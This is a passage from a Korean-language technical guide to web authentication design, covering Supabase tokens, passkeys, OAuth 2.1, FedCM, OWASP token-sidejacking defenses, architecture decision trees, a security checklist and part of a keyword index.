│  └────────────────────────────────────────────────────────────────────┘     │
│                                                                             │
│  폐기(Revocation) 전파:                                                    │
│  - 관리자가 세션 폐기 → 최대 60초 내 모든 JWT 자연 만료                    │
│  - 즉각적 차단 필요 시: 서버에서 세션 ID 블랙리스트 확인                   │
│  - 트레이드오프: 60초 지연 허용 vs 매 요청 DB 조회 비용                    │
│                                                                             │
│  장점:                                                                     │
│  - 대부분의 요청에서 DB 조회 불필요 (JWT 서명 검증만)                      │
│  - 폐기 지연이 60초로 매우 짧음 (일반 JWT의 5-15분 대비)                   │
│  - 백그라운드 폴링으로 사용자 경험 무중단                                  │
│                                                                             │
└─────────────────────────────────────────────────────────────────────────────┘

9.9 Supabase

┌─────────────────────────────────────────────────────────────────────────────┐
│                    Supabase (GoTrue 기반) 인증                               │
├─────────────────────────────────────────────────────────────────────────────┤
│                                                                             │
│  GoTrue: Netlify에서 시작된 오픈소스 인증 서버 (Go 언어)                    │
│                                                                             │
│  토큰 구조:                                                                │
│  ┌────────────────────────────────────────────────────────────────────┐     │
│  │ Access Token (JWT):                                                │     │
│  │ {                                                                  │     │
│  │   "sub": "user-uuid-xxx",                                         │     │
│  │   "session_id": "sess-uuid-yyy",  // ← 핵심: 세션 ID 포함        │     │
│  │   "role": "authenticated",                                        │     │
│  │   "aal": "aal1",  // Authentication Assurance Level               │     │
│  │   "exp": 1741219200                                                │     │
│  │ }                                                                  │     │
│  │                                                                    │     │
│  │ session_id가 JWT에 포함되어 있어서:                                │     │
│  │ → 서버에서 session_id로 세션 유효성 실시간 확인 가능               │     │
│  │ → JWT 자체 검증 + 세션 상태 확인 이중 검증                        │     │
│  └────────────────────────────────────────────────────────────────────┘     │
│                                                                             │
│  Refresh Token:                                                             │
│  ├── 단일 사용 (Single-Use): 한 번 사용되면 즉시 무효화                    │
│  ├── Token Family 추적: 같은 세션의 모든 RT 계보 관리                      │
│  ├── 재사용 감지 시: 해당 Family 전체 무효화 + 강제 재로그인               │
│  └── 기본 수명: 무기한 (세션 활성 상태 기준)                               │
│                                                                             │
│  저장 전략:                                                                │
│  ├── 브라우저: localStorage (기본) 또는 커스텀 스토리지                     │
│  ├── SSR: cookieStorage (Next.js, SvelteKit 등)                            │
│  └── React Native: SecureStore                                             │
│                                                                             │
└─────────────────────────────────────────────────────────────────────────────┘

10. 2025-2026 인증 트렌드

10.1 Passkeys / WebAuthn

┌─────────────────────────────────────────────────────────────────────────────┐
│                    Passkey 채택 현황 (2025-2026)                             │
├─────────────────────────────────────────────────────────────────────────────┤
│                                                                             │
│  대규모 채택:                                                               │
│  ├── Google: 8억 계정에서 Passkey 사용 가능                                │
│  ├── Amazon: 1.75억 사용자가 Passkey 설정                                  │
│  ├── Microsoft: 기본 로그인 방식으로 Passkey 채택                          │
│  ├── Apple: iCloud Keychain으로 Passkey 동기화                             │
│  └── PayPal, eBay, Shopify, LinkedIn 등 확산 중                            │
│                                                                             │
│  기술 현황:                                                                │
│  ├── 성공률 98% (비밀번호 대비 현저히 높음)                                │
│  ├── WebAuthn Level 3 (2026년 1월 W3C 권고)                                │
│  │   └── 조건부 UI, 하이브리드 전송, attestation 개선                      │
│  ├── NIST AAL2 인정 (다중 인증과 동등한 보안 수준)                         │
│  └── 피싱 저항: Origin 바인딩으로 피싱 사이트에서 사용 불가                │
│                                                                             │
│  Passkey 동작 원리:                                                        │
│  ┌────────────────────────────────────────────────────────────────────┐     │
│  │ 등록:                                                              │     │
│  │ 1. 서버 → 챌린지 전송                                             │     │
│  │ 2. 인증기(Touch ID, Face ID, Windows Hello)가 키 쌍 생성          │     │
│  │ 3. 공개키를 서버에 등록, 개인키는 디바이스/클라우드에 저장          │     │
│  │                                                                    │     │
│  │ 인증:                                                              │     │
│  │ 1. 서버 → 챌린지 전송                                             │     │
│  │ 2. 인증기가 개인키로 챌린지 서명 (생체/PIN 인증 후)                │     │
│  │ 3. 서버가 공개키로 서명 검증                                       │     │
│  │                                                                    │     │
│  │ 보안:                                                              │     │
│  │ - Origin 바인딩: 등록된 도메인에서만 사용 가능                     │     │
│  │ - 피싱 불가: evil.com에서 example.com의 Passkey 사용 불가          │     │
│  │ - 서버에 비밀 없음: 공개키만 저장 (유출되어도 안전)                │     │
│  └────────────────────────────────────────────────────────────────────┘     │
│                                                                             │
└─────────────────────────────────────────────────────────────────────────────┘

10.2 서드파티 쿠키 정책 변화

┌─────────────────────────────────────────────────────────────────────────────┐
│                    서드파티 쿠키 정책 (2025)                                  │
├─────────────────────────────────────────────────────────────────────────────┤
│                                                                             │
│  Google의 반전 (2025년 10월):                                               │
│  ├── Privacy Sandbox 계획 철회                                             │
│  ├── 서드파티 쿠키를 완전히 차단하지 않기로 결정                            │
│  └── 대신 사용자 선택(User Choice) 방식 채택                               │
│                                                                             │
│  생존한 Privacy API들:                                                      │
│  ┌────────────────────────────────────────────────────────────────────┐     │
│  │ CHIPS (Partitioned Cookies)                                        │     │
│  │ → 서드파티 쿠키를 Top-Level Site별로 파티션                        │     │
│  │                                                                    │     │
│  │ FedCM (Federated Credential Management)                           │     │
│  │ → 브라우저 네이티브 연합 로그인 UI                                 │     │
│  │                                                                    │     │
│  │ Private State Tokens                                               │     │
│  │ → 봇 탐지용 익명 증명                                             │     │
│  │                                                                    │     │
│  │ Storage Access API                                                 │     │
│  │ → 사용자 동의 기반 크로스사이트 저장소 접근                        │     │
│  │                                                                    │     │
│  │ Related Website Sets                                               │     │
│  │ → 관련 도메인 그룹의 쿠키 공유 (First-Party Sets 후속)            │     │
│  └────────────────────────────────────────────────────────────────────┘     │
│                                                                             │
│  인증에 미치는 영향:                                                       │
│  - iframe silent auth는 여전히 불안정 (브라우저마다 정책 다름)              │
│  - RT 기반 갱신이 업계 표준으로 정착                                       │
│  - FedCM이 소셜 로그인의 새 표준으로 부상                                  │
│                                                                             │
└─────────────────────────────────────────────────────────────────────────────┘

10.3 OAuth 2.1

┌─────────────────────────────────────────────────────────────────────────────┐
│                    OAuth 2.1 주요 변경사항                                    │
├─────────────────────────────────────────────────────────────────────────────┤
│                                                                             │
│  OAuth 2.0 (RFC 6749, 2012) → OAuth 2.1 (초안, 2025 최종화 예정)           │
│                                                                             │
│  ┌──────────────────────────────┬────────────────────────────────────┐      │
│  │ 변경 사항                    │ 영향                               │      │
│  ├──────────────────────────────┼────────────────────────────────────┤      │
│  │ PKCE 필수화                  │ 모든 Authorization Code 흐름에     │      │
│  │                              │ code_verifier/challenge 필수       │      │
│  ├──────────────────────────────┼────────────────────────────────────┤      │
│  │ Implicit Grant 제거          │ 프래그먼트에 토큰 노출 금지       │      │
│  │                              │ (URL에 AT가 보이던 문제 해소)     │      │
│  ├──────────────────────────────┼────────────────────────────────────┤      │
│  │ ROPC (Resource Owner         │ 사용자 비밀번호를 클라이언트가     │      │
│  │  Password Credentials) 제거  │ 직접 다루는 것 금지               │      │
│  ├──────────────────────────────┼────────────────────────────────────┤      │
│  │ 정확한 Redirect URI 매칭     │ 와일드카드 redirect_uri 금지      │      │
│  │                              │ 등록된 URI와 정확히 일치해야 함   │      │
│  ├──────────────────────────────┼────────────────────────────────────┤      │
│  │ Refresh Token 제한           │ Rotation 또는 Sender-Constraining │      │
│  │                              │ 중 하나 필수                       │      │
│  └──────────────────────────────┴────────────────────────────────────┘      │
│                                                                             │
└─────────────────────────────────────────────────────────────────────────────┘

10.4 GNAP (RFC 9635)

┌─────────────────────────────────────────────────────────────────────────────┐
│                    GNAP: Grant Negotiation and Authorization Protocol        │
│                    RFC 9635 (2024)                                           │
├─────────────────────────────────────────────────────────────────────────────┤
│                                                                             │
│  "OAuth의 다음 세대" - OAuth 2.0의 근본적 재설계                            │
│                                                                             │
│  OAuth 2.0 vs GNAP:                                                        │
│  ┌──────────────────────────────┬────────────────────────────────────┐      │
│  │ OAuth 2.0                    │ GNAP                               │      │
│  ├──────────────────────────────┼────────────────────────────────────┤      │
│  │ 클라이언트 사전 등록 필수    │ 사전 등록 불필요 (동적)            │      │
│  │ Redirect 기반 흐름           │ 다양한 상호작용 모드               │      │
│  │ Bearer Token (기본)          │ 키 바인딩 내장 (DPoP 유사)         │      │
│  │ scope 문자열                 │ 구조화된 접근 권한                 │      │
│  │ 단일 리소스 소유자           │ 복수 주체 지원                     │      │
│  │ 확장으로 보안 추가           │ 보안이 기본 내장                   │      │
│  └──────────────────────────────┴────────────────────────────────────┘      │
│                                                                             │
│  채택 상태: 초기 단계                                                      │
│  - 일부 선도 기업에서 실험적 구현                                           │
│  - OAuth 2.0/2.1 대체까지는 수년 소요 전망                                 │
│  - DPoP, PKCE 등 GNAP 아이디어가 OAuth 2.x에 역수입                        │
│                                                                             │
└─────────────────────────────────────────────────────────────────────────────┘

10.5 FedCM API

┌─────────────────────────────────────────────────────────────────────────────┐
│                    FedCM (Federated Credential Management)                   │
├─────────────────────────────────────────────────────────────────────────────┤
│                                                                             │
│  브라우저 네이티브 연합 로그인 API:                                          │
│  - 서드파티 쿠키/리다이렉트 없이 SSO 구현                                  │
│  - 브라우저가 로그인 UI를 직접 렌더링                                      │
│  - 사용자 동의를 브라우저 수준에서 관리                                     │
│                                                                             │
│  구현 예시:                                                                │
│  const credential = await navigator.credentials.get({                      │
│    identity: {                                                             │
│      providers: [{                                                         │
│        configURL: "https://accounts.google.com/gsi/fedcm.json",            │
│        clientId: "your-client-id",                                          │
│      }],                                                                   │
│    },                                                                      │
│  });                                                                       │
│  // credential.token → ID Token 수신                                       │
│                                                                             │
│  채택 현황:                                                                │
│  ├── Google: 2025년 8월부터 One Tap 로그인에 FedCM 필수                    │
│  ├── Chrome/Edge: 완전 지원                                                │
│  ├── Firefox: 개발 중단 (표준 방향에 이견)                                 │
│  └── Safari: 미지원 (자체 방식 선호)                                       │
│                                                                             │
└─────────────────────────────────────────────────────────────────────────────┘

10.6 Zero Trust와 토큰 강화

┌─────────────────────────────────────────────────────────────────────────────┐
│                    Zero Trust 인증 원칙 (2025-2026)                          │
├─────────────────────────────────────────────────────────────────────────────┤
│                                                                             │
│  핵심 원칙: "Trust nothing, verify everything"                              │
│                                                                             │
│  1. Identity-as-Perimeter:                                                  │
│     ├── 네트워크 위치가 아닌 신원이 접근 제어의 기준                        │
│     ├── VPN 내부라도 모든 요청에 인증/인가 필요                             │
│     └── 매 요청마다 컨텍스트 기반 평가 (디바이스, 위치, 행동 등)            │
│                                                                             │
│  2. 단기 토큰 (Short-Lived Tokens):                                        │
│     ├── AT 수명: 5-15분 (시간 단위가 아닌 분 단위)                         │
│     ├── 세션: 지속적 재검증 (Continuous Verification)                       │
│     └── 리스크 기반 동적 수명 조정                                          │
│                                                                             │
│  3. 마이크로서비스 간 인증:                                                 │
│     ├── SPIFFE/SPIRE: 서비스 ID 표준                                       │
│     │   └── SVID (SPIFFE Verifiable Identity Document)                     │
│     ├── mTLS: 서비스 간 상호 인증 (Istio, Linkerd 자동 적용)               │
│     └── Short-lived JWT: 서비스 간 요청에 수명 5분 이하 JWT                │
│                                                                             │
│  4. 2025 토큰 강화 트렌드:                                                 │
│     ┌──────────────────────────────────────────────────────────┐            │
│     │ AT 수명: 5-15분 (이전 1시간에서 단축)                    │            │
│     │ BFF: IETF 공식 표준으로 격상                             │            │
│     │ DPoP: Public Client 토큰 바인딩 표준                     │            │
│     │ mTLS: Service Mesh에서 자동화                            │            │
│     │ Token Fingerprint: JWT에 디바이스 지문 포함              │            │
│     └──────────────────────────────────────────────────────────┘            │
│                                                                             │
└─────────────────────────────────────────────────────────────────────────────┘

10.7 브라우저 변화 요약

┌─────────────────────────────────────────────────────────────────────────────┐
│                    2025-2026 브라우저 보안 변화                               │
├──────────────────────┬──────────────────────────────────────────────────────┤
│ 변화                  │ 영향                                                │
├──────────────────────┼──────────────────────────────────────────────────────┤
│ CHIPS (Partitioned)  │ 서드파티 쿠키를 파티션별 격리                        │
│ Storage Access API   │ 사용자 동의 후 크로스사이트 저장소 접근              │
│ Related Website Sets │ 관련 도메인 간 쿠키 공유 (한정적)                    │
│ __Http- 접두사       │ HttpOnly 속성을 이름 수준에서 강제                   │
│ FedCM 필수화          │ Google One Tap이 FedCM 기반으로 전환               │
│ Schemeful Same-Site  │ HTTP≠HTTPS, 모든 것을 HTTPS로 통일 필요             │
│ Private State Tokens │ 봇 vs 인간 구분용 익명 토큰                         │
│ WebAuthn Level 3     │ Passkey 조건부 UI, 크로스 디바이스 인증 개선        │
└──────────────────────┴──────────────────────────────────────────────────────┘

11. OWASP 권장사항

11.1 OWASP Top 10:2025 - A07 Authentication Failures

┌─────────────────────────────────────────────────────────────────────────────┐
│                    OWASP Top 10:2025 인증 관련 항목                          │
├─────────────────────────────────────────────────────────────────────────────┤
│                                                                             │
│  A07:2025 - Authentication and Identification Failures                      │
│  (이전 A07:2021 - Identification and Authentication Failures)               │
│                                                                             │
│  주요 취약점:                                                               │
│  ├── 약한 비밀번호 허용                                                    │
│  ├── Credential Stuffing 방어 미비                                         │
│  ├── 안전하지 않은 세션 관리                                               │
│  ├── 다중 인증(MFA) 미적용                                                │
│  ├── 세션 ID가 URL에 노출                                                 │
│  └── 로그인 실패 시 과도한 정보 노출                                       │
│                                                                             │
│  인증 관련 OWASP 권장사항 요약:                                            │
│  ┌────────────────────────────────────────────────────────────────────┐     │
│  │ 1. 세션 관리                                                       │     │
│  │    - HttpOnly + Secure + SameSite 쿠키 사용                       │     │
│  │    - 세션 ID 최소 128비트 엔트로피 (64비트는 구 버전 최소치)       │     │
│  │    - 로그인 성공 후 세션 ID 재생성 (Session Fixation 방어)         │     │
│  │    - 로그아웃 시 서버 측 세션 즉시 무효화                          │     │
│  │    - 비활성 타임아웃: 15-30분 권장                                │     │
│  │                                                                    │     │
│  │ 2. JWT 관련 (OWASP JWT Cheat Sheet)                               │     │
│  │    - localStorage에 토큰 저장 금지                                │     │
│  │    - sessionStorage 또는 Closure(in-memory) 사용                  │     │
│  │    - Token Sidejacking 방어: JWT에 핑거프린트 포함                 │     │
│  │    - alg:none 취약점 방어: 허용 알고리즘 화이트리스트 필수         │     │
│  │    - 토큰 수명 최소화 (5-15분 권장)                               │     │
│  │                                                                    │     │
│  │ 3. 비밀번호 정책 (NIST 정렬)                                      │     │
│  │    - 주기적 비밀번호 변경 강제 금지 (비효과적)                     │     │
│  │    - 최소 8자, 최대 64자 이상 허용                                │     │
│  │    - 유출된 비밀번호 DB 대조 (Have I Been Pwned API 등)           │     │
│  │    - 비밀번호 복잡도 규칙보다 길이를 강조                          │     │
│  │                                                                    │     │
│  │ 4. MFA / Passkey                                                  │     │
│  │    - Passkeys/FIDO2를 피싱 저항 MFA로 권장                        │     │
│  │    - SMS OTP는 피싱 취약 → TOTP 또는 WebAuthn 권장                │     │
│  │    - 리커버리 코드 제공 필수                                       │     │
│  │                                                                    │     │
│  │ 5. Credential Stuffing 방어                                       │     │
│  │    - Rate Limiting (로그인 시도 횟수 제한)                        │     │
│  │    - 유출 비밀번호 확인 (breach password checking)                │     │
│  │    - CAPTCHA (의심스러운 패턴 시)                                 │     │
│  │    - Account Lockout (임시 잠금, 영구 잠금 주의)                  │     │
│  └────────────────────────────────────────────────────────────────────┘     │
│                                                                             │
└─────────────────────────────────────────────────────────────────────────────┘

11.2 Token Sidejacking 방어 (핑거프린트)

┌─────────────────────────────────────────────────────────────────────────────┐
│                    Token Sidejacking 방어                                    │
├─────────────────────────────────────────────────────────────────────────────┤
│                                                                             │
│  문제: JWT가 탈취되면 다른 디바이스/브라우저에서 재사용 가능                 │
│                                                                             │
│  OWASP 권장 해결책: JWT에 핑거프린트 포함                                   │
│                                                                             │
│  1. 로그인 시 랜덤 핑거프린트 생성                                         │
│  2. 핑거프린트의 SHA-256 해시를 JWT의 claim에 포함                         │
│  3. 핑거프린트 원본은 __Host-Fgp HttpOnly 쿠키로 설정                      │
│  4. API 요청 시 JWT의 해시와 쿠키의 해시를 비교                            │
│                                                                             │
│  구현 예시:                                                                │
│  ┌────────────────────────────────────────────────────────────────────┐     │
│  │ // 로그인 시                                                       │     │
│  │ const fingerprint = crypto.randomBytes(32).toString('hex');        │     │
│  │ const fingerprintHash = sha256(fingerprint);                      │     │
│  │                                                                    │     │
│  │ // JWT에 해시 포함                                                │     │
│  │ const jwt = signJwt({                                              │     │
│  │   sub: userId,                                                    │     │
│  │   fgp: fingerprintHash, // 핑거프린트 해시                        │     │
│  │ });                                                                │     │
│  │                                                                    │     │
│  │ // 핑거프린트 원본을 HttpOnly 쿠키로 설정                         │     │
│  │ res.cookie('__Host-Fgp', fingerprint, {                           │     │
│  │   httpOnly: true, secure: true, sameSite: 'strict', path: '/'    │     │
│  │ });                                                                │     │
│  │                                                                    │     │
│  │ // API 검증 시                                                    │     │
│  │ const jwtFgp = decodedToken.fgp;                                  │     │
│  │ const cookieFgp = sha256(req.cookies['__Host-Fgp']);              │     │
│  │ if (jwtFgp !== cookieFgp) throw new Error('Token mismatch!');     │     │
│  └────────────────────────────────────────────────────────────────────┘     │
│                                                                             │
│  효과:                                                                     │
│  - JWT가 탈취되어도 HttpOnly 쿠키 없이는 사용 불가                         │
│  - XSS로 JWT를 읽어도 HttpOnly 쿠키는 읽을 수 없음                         │
│  - 사실상 DPoP의 간이 버전                                                │
│                                                                             │
└─────────────────────────────────────────────────────────────────────────────┘

12. 실전 아키텍처 결정 가이드

12.1 시나리오별 권장 아키텍처

┌──────────────────────────────────────────────────────────────────────────────────────────┐
│                    시나리오별 인증 아키텍처 결정 가이드                                     │
├─────────────────┬─────────────────┬───────────────────┬───────────────────────────────────┤
│ 시나리오          │ 추천 아키텍처    │ Access Token 저장 │ Refresh Token 저장               │
├─────────────────┼─────────────────┼───────────────────┼───────────────────────────────────┤
│ SPA (고보안)     │ BFF 패턴         │ 서버 사이드       │ 서버 사이드 (Redis)              │
│ 금융, 의료, 공공 │                 │ (Redis/Memory)    │                                  │
├─────────────────┼─────────────────┼───────────────────┼───────────────────────────────────┤
│ SPA (일반)       │ Web Worker +    │ Worker 메모리     │ HttpOnly 쿠키                    │
│ B2C 서비스       │ HttpOnly RT     │                   │ (Rotation 필수)                  │
├─────────────────┼─────────────────┼───────────────────┼───────────────────────────────────┤
│ SSR (Next.js     │ BFF (내장)       │ 서버 사이드       │ 서버 사이드                      │
│ / Nuxt)          │                 │                   │                                  │
├─────────────────┼─────────────────┼───────────────────┼───────────────────────────────────┤
│ 전통 웹앱        │ HttpOnly 세션    │ HttpOnly 쿠키     │ 서버 사이드                      │
│ (MPA)           │ 쿠키             │ (또는 세션에 포함)│ (세션 DB에 저장)                 │
├─────────────────┼─────────────────┼───────────────────┼───────────────────────────────────┤
│ 모바일 앱        │ OS Secure        │ Keychain (iOS)    │ Keychain (iOS)                   │
│ (iOS/Android)   │ Storage          │ KeyStore (Android)│ KeyStore (Android)               │
├─────────────────┼─────────────────┼───────────────────┼───────────────────────────────────┤
│ 마이크로서비스   │ mTLS +           │ N/A               │ N/A                              │
│ 간 통신          │ short-lived JWT  │ (메모리, 캐시)    │ (서비스 간 RT 불필요)            │
├─────────────────┼─────────────────┼───────────────────┼───────────────────────────────────┤
│ Open Banking     │ DPoP + PKCE      │ DPoP-bound JWT    │ Sender-constrained               │
│ / FAPI 2.0      │                 │ (키 바인딩)       │ (DPoP 또는 mTLS 바인딩)          │
└─────────────────┴─────────────────┴───────────────────┴───────────────────────────────────┘

12.2 결정 트리

┌─────────────────────────────────────────────────────────────────────────────┐
│                    인증 아키텍처 결정 트리                                    │
├─────────────────────────────────────────────────────────────────────────────┤
│                                                                             │
│  서버 사이드 렌더링(SSR)을 사용하는가?                                      │
│  ├── YES → BFF 패턴 (Next.js/Nuxt 내장 API Route 활용)                    │
│  │         토큰은 서버에만 저장, 브라우저에는 HttpOnly 세션 쿠키             │
│  │                                                                          │
│  └── NO → SPA인가?                                                         │
│           ├── YES → 백엔드 서버를 두는가?                                  │
│           │         ├── YES → BFF 패턴 (Express/Spring Gateway 등)         │
│           │         │                                                       │
│           │         └── NO (Static SPA) →                                  │
│           │                  보안 요구 수준은?                               │
│           │                  ├── 높음 (금융/의료) → BFF 필수 도입           │
│           │                  │                                              │
│           │                  └── 일반 →                                     │
│           │                      Web Worker (AT) +                          │
│           │                      HttpOnly Cookie (RT) +                    │
│           │                      PKCE + Rotation                           │
│           │                                                                 │
│           └── NO → 모바일 앱인가?                                          │
│                    ├── YES → OS Secure Storage + PKCE                      │
│                    │                                                        │
│                    └── NO → 서비스 간 통신                                 │
│                             → mTLS + Short-lived JWT                       │
│                                                                             │
└─────────────────────────────────────────────────────────────────────────────┘

12.3 2025 Gold Standard SPA 아키텍처

┌─────────────────────────────────────────────────────────────────────────────┐
│                    2025 Gold Standard: SPA 인증 아키텍처                     │
├─────────────────────────────────────────────────────────────────────────────┤
│                                                                             │
│  구성:                                                                      │
│  ┌─────────────────────────────────────────────────────────────────────┐    │
│  │ Access Token:  단기 JWT (5-15분), Web Worker 메모리에 저장         │    │
│  │ Refresh Token: Opaque, HttpOnly + Secure + SameSite=Strict 쿠키   │    │
│  │ CSRF 방어:     SameSite=Strict + Custom Header 요구               │    │
│  │ OAuth Flow:    Authorization Code + PKCE                           │    │
│  │ RT 보안:       Rotation + Reuse Detection                         │    │
│  └─────────────────────────────────────────────────────────────────────┘    │
│                                                                             │
│  전체 흐름:                                                                │
│                                                                             │
│  ┌──────────┐         ┌──────────┐        ┌──────────┐      ┌──────────┐  │
│  │          │         │  Web     │        │  Auth    │      │  API     │  │
│  │  React   │  msg    │  Worker  │  HTTP  │  Server  │      │  Server  │  │
│  │  App     │ ◄─────► │          │ ◄────► │          │      │          │  │
│  │          │         │  (토큰)  │        │          │      │          │  │
│  └──────────┘         └──────────┘        └──────────┘      └──────────┘  │
│                                                                             │
│  1. 페이지 로드                                                            │
│     → Worker 초기화                                                        │
│     → Worker가 RT 쿠키로 새 AT 요청 (fetch + credentials: include)        │
│     → AT를 Worker 메모리에 저장                                            │
│                                                                             │
│  2. API 호출                                                               │
│     → React: postMessage({type:'API', url:'/api/data'})                    │
│     → Worker: Authorization: Bearer {AT} 헤더 추가 후 fetch               │
│     → Worker: postMessage({type:'RESULT', data: ...})                      │
│     → React: 응답 처리 (AT에 직접 접근하지 않음)                           │
│                                                                             │
│  3. AT 만료                                                                │
│     → Worker가 RT 쿠키로 자동 갱신 (사용자 무관여)                         │
│     → 새 AT를 Worker 메모리에 저장                                         │
│     → 서버: 새 RT 발급 + 기존 RT 무효화 (Rotation)                        │
│                                                                             │
│  4. 로그아웃                                                               │
│     → Worker: 서버에 RT 폐기 요청                                         │
│     → 서버: RT 무효화 + Set-Cookie 삭제                                    │
│     → Worker: AT 메모리 삭제                                               │
│                                                                             │
│  보안 분석:                                                                │
│  ┌────────────────────────────────────────────────────────────────────┐     │
│  │ XSS 공격 시:                                                       │     │
│  │ - AT를 읽을 수 없음 (Worker 격리)                                 │     │
│  │ - RT를 읽을 수 없음 (HttpOnly 쿠키)                               │     │
│  │ - 인증된 fetch는 가능하지만 Worker를 통해서만                      │     │
│  │   → CSP로 Worker 스크립트 소스 제한하면 추가 방어                  │     │
│  │                                                                    │     │
│  │ CSRF 공격 시:                                                      │     │
│  │ - SameSite=Strict로 크로스사이트 쿠키 전송 차단                   │     │
│  │ - Custom Header (X-Requested-With) 추가 검증                      │     │
│  │ → CSRF 원천 차단                                                  │     │
│  │                                                                    │     │
│  │ 토큰 탈취 시:                                                      │     │
│  │ - AT: 5-15분 내 자동 만료                                         │     │
│  │ - RT: 단일 사용, 재사용 시 가족 전체 무효화                       │     │
│  └────────────────────────────────────────────────────────────────────┘     │
│                                                                             │
└─────────────────────────────────────────────────────────────────────────────┘

12.4 보안 체크리스트

┌─────────────────────────────────────────────────────────────────────────────┐
│                    프로덕션 배포 전 인증 보안 체크리스트                       │
├─────────────────────────────────────────────────────────────────────────────┤
│                                                                             │
│  쿠키 설정:                                                                │
│  [ ] HttpOnly 속성이 세션/토큰 쿠키에 설정되어 있는가?                      │
│  [ ] Secure 속성이 모든 인증 쿠키에 설정되어 있는가?                        │
│  [ ] SameSite=Strict 또는 Lax가 설정되어 있는가?                           │
│  [ ] __Host- 또는 __Secure- 접두사를 사용하고 있는가?                      │
│  [ ] 쿠키 Max-Age가 적절히 설정되어 있는가?                                │
│                                                                             │
│  토큰 관리:                                                                │
│  [ ] AT 수명이 15분 이하인가?                                              │
│  [ ] RT에 Rotation이 적용되어 있는가?                                      │
│  [ ] 재사용 탐지(Reuse Detection)가 활성화되어 있는가?                      │
│  [ ] 로그아웃 시 서버 측 토큰이 즉시 무효화되는가?                          │
│  [ ] AT가 localStorage에 저장되어 있지 않은가?                              │
│                                                                             │
│  OAuth / OIDC:                                                              │
│  [ ] PKCE가 모든 Authorization Code 흐름에 적용되어 있는가?                 │
│  [ ] Implicit Grant가 비활성화되어 있는가?                                  │
│  [ ] Redirect URI가 정확히 매칭되는가? (와일드카드 없음)                    │
│  [ ] aud claim이 검증되고 있는가?                                          │
│  [ ] RS256 이상의 비대칭 서명을 사용하는가?                                │
│                                                                             │
│  인프라:                                                                   │
│  [ ] HTTPS가 모든 엔드포인트에 적용되어 있는가?                             │
│  [ ] HSTS 헤더가 설정되어 있는가?                                          │
│  [ ] CSP (Content Security Policy)가 적용되어 있는가?                       │
│  [ ] Rate Limiting이 로그인/토큰 엔드포인트에 적용되어 있는가?              │
│  [ ] 로그인 시도 실패 로그가 모니터링되고 있는가?                           │
│                                                                             │
└─────────────────────────────────────────────────────────────────────────────┘

13. 키워드 색인

┌─────────────────────────────────────────────────────────────────────────────┐
│                    키워드 색인 (가나다/알파벳 순)                             │
├─────────────────────────────────────────────────────────────────────────────┤
│                                                                             │
│  [ㄱ-ㅎ]                                                                    │
│  ─────                                                                      │
│  공개키 서명 ─────────────────── 4.3 JWT 서명 알고리즘                      │
│  그레이스 피리어드 ──────────── 6.4 네트워크 불안정 유예 기간                │
│                                                                             │
│  [A]                                                                        │
│  Access Token ─────────────── 4.1 핵심 비교, 4.3 JWT 구조                  │
│  ath (Access Token Hash) ──── 8.2 Step 4 API 요청                          │
│  aud (Audience) ───────────── 4.3 aud 검증의 중요성                        │
│  Auth0 SPA SDK ────────────── 9.4 Auth0 아키텍처                           │
│  AWS Amplify v6 ───────────── 9.7 Cognito 저장 전략                        │
│  AWS Cognito ──────────────── 9.7 Triple Token 구조                        │
│                                                                             │
│  [B]                                                                        │
│  Bearer Token ─────────────── 1. 용어 사전, 8.1 DPoP 비교                  │
│  BFF (Backend-for-Frontend) ─ 7. 전체 섹션                                 │
│  build-fixer ──────────────── 7.4 Spring Cloud Gateway                     │
│                                                                             │
│  [C]                                                                        │
│  CHIPS ────────────────────── 2.2 Partitioned 속성, 10.2 브라우저 변화      │
│  Clerk ────────────────────── 9.8 60초 JWT 하이브리드                       │
│  Closure 패턴 ─────────────── 5.4 In-Memory 저장                           │
│  Cookie Prefix ────────────── 2.3 쿠키 이름 접두사                         │
│  Cookie Tossing ───────────── 2.3 __Host- 접두사, 9.2 GitHub               │
│  CSRF ─────────────────────── 3.5 CSRF 방어 비교 테이블                    │
│  Curity Token Handler ────── 7.6 OAuth Agent + Proxy 패턴                  │
│                                                                             │
│  [D]                                                                        │
│  Domain 속성 ──────────────── 2.2 Domain 속성                              │
│  DPoP ─────────────────────── 8. 전체 섹션                                 │
│  DPoP Proof JWT ───────────── 8.2 Step 2-3 증명 생성                       │
│  Duende BFF ───────────────── 7.7 .NET 엔터프라이즈                        │
│                                                                             │
│  [E]                                                                        │
│  EAS (Edge Auth Service) ──── 9.3 Netflix 아키텍처                         │
│  ES256 ────────────────────── 4.3 서명 알고리즘 비교                       │
│  eTLD+1 ───────────────────── 3.4 Same-Site 판단 기준                      │
│  Expires vs Max-Age ───────── 2.2 쿠키 수명 설정                           │
│                                                                             │
│  [F]                                                                        │
│  FedCM ────────────────────── 10.5 브라우저 네이티브 로그인                 │
│  FIDO2 ────────────────────── 10.1 Passkey / WebAuthn                      │
│  Fine-Grained PAT ─────────── 9.2 GitHub PAT                              │
│  Fingerprint (JWT) ────────── 11.2 Token Sidejacking 방어                  │
│                                                                             │
│  [G]                                                                        │
│  GitHub ───────────────────── 9.2 __Host- 쿠키, PAT                       │
│  GNAP ─────────────────────── 10.4 RFC 9635 차세대 인가                    │
│  Gold Standard SPA ────────── 12.3 2025 권장 아키텍처                      │
│  Google ───────────────────── 9.1 멀티 쿠키 시스템, SAPISIDHASH            │
│  GoTrue ───────────────────── 9.9 Supabase 인증 엔진                      │
│  Grace Period ─────────────── 6.4 네트워크 불안정 유예                     │
│                                                                             │
│  [H]                                                                        │
│  __Host- 접두사 ───────────── 2.3 쿠키 이름 접두사                         │
│  __Host-Http- 접두사 ──────── 2.3 최대 보안 접두사                         │
│  HttpOnly ─────────────────── 3. 전체 섹션                                 │
│  __Http- 접두사 ───────────── 2.3 Chrome 140+ 신규                         │
│  HSTS ─────────────────────── 12.4 보안 체크리스트                         │
│                                                                             │
│  [I]                                                                        │
│  Implicit Grant ───────────── 10.3 OAuth 2.1에서 제거됨                    │
│  In-Memory Token ──────────── 5.4 Closure 패턴                             │
│  IndexedDB ────────────────── 8.2 DPoP 키 저장                            │
│                                                                             │
│  [J]                                                                        │
│  JWT ──────────────────────── 4.2 JWT vs Opaque 비교                       │
│  jti (JWT ID) ─────────────── 4.3 재사용 방지용 고유 ID                    │
│                                                                             │
│  [K]                                                                        │
│  Keycloak ─────────────────── 8.4 DPoP 지원 현황                          │
│                                                                             │
│  [L]                                                                        │
│  Lax+POST 유예 기간 ───────── 3.4 120초 보안 갭                            │
│  localStorage ─────────────── 5.1 OWASP 사용 금지                         │
│                                                                             │
│  [M]                                                                        │
│  Max-Age ──────────────────── 2.2 Expires vs Max-Age                       │
